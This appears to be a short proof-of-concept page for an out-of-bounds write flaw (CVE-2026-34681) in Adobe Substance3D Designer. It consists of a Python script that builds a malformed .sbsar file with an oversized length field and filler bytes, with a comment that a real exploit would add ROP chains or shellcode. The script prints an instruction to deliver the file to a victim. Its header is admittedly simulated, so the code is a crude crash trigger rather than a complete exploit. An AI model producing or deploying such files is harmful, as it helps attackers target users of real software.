CVE-2026-34681 Adobe Substance3D Designer越界写入漏洞

import struct # PoC for CVE-2026-34681 (Conceptual) # This script generates a malformed file intended to trigger # an Out-of-Bounds Write vulnerability in Adobe Substance3D Designer. def create_exploit_file(filename): # Generic binary header (Simulated) header = b'SBSAR\x00\x00\x00\x00' # Malicious block header # Length field set to an excessively large value to trigger OOB write evil_length = struct.pack('<I', 0x41414141) # Payload data (Buffer overflow content) # In a real exploit, this would contain ROP chains or Shellcode payload = b'A' * 1024 with open(filename, 'wb') as f: f.write(header) f.write(evil_length) f.write(payload) print(f"[+] Malicious file generated: {filename}") print("[+] Deliver this file to a victim and open it with Substance3D Designer <= 15.1.0") if __name__ == "__main__": create_exploit_file("cve_2026_34681_poc.sbsar")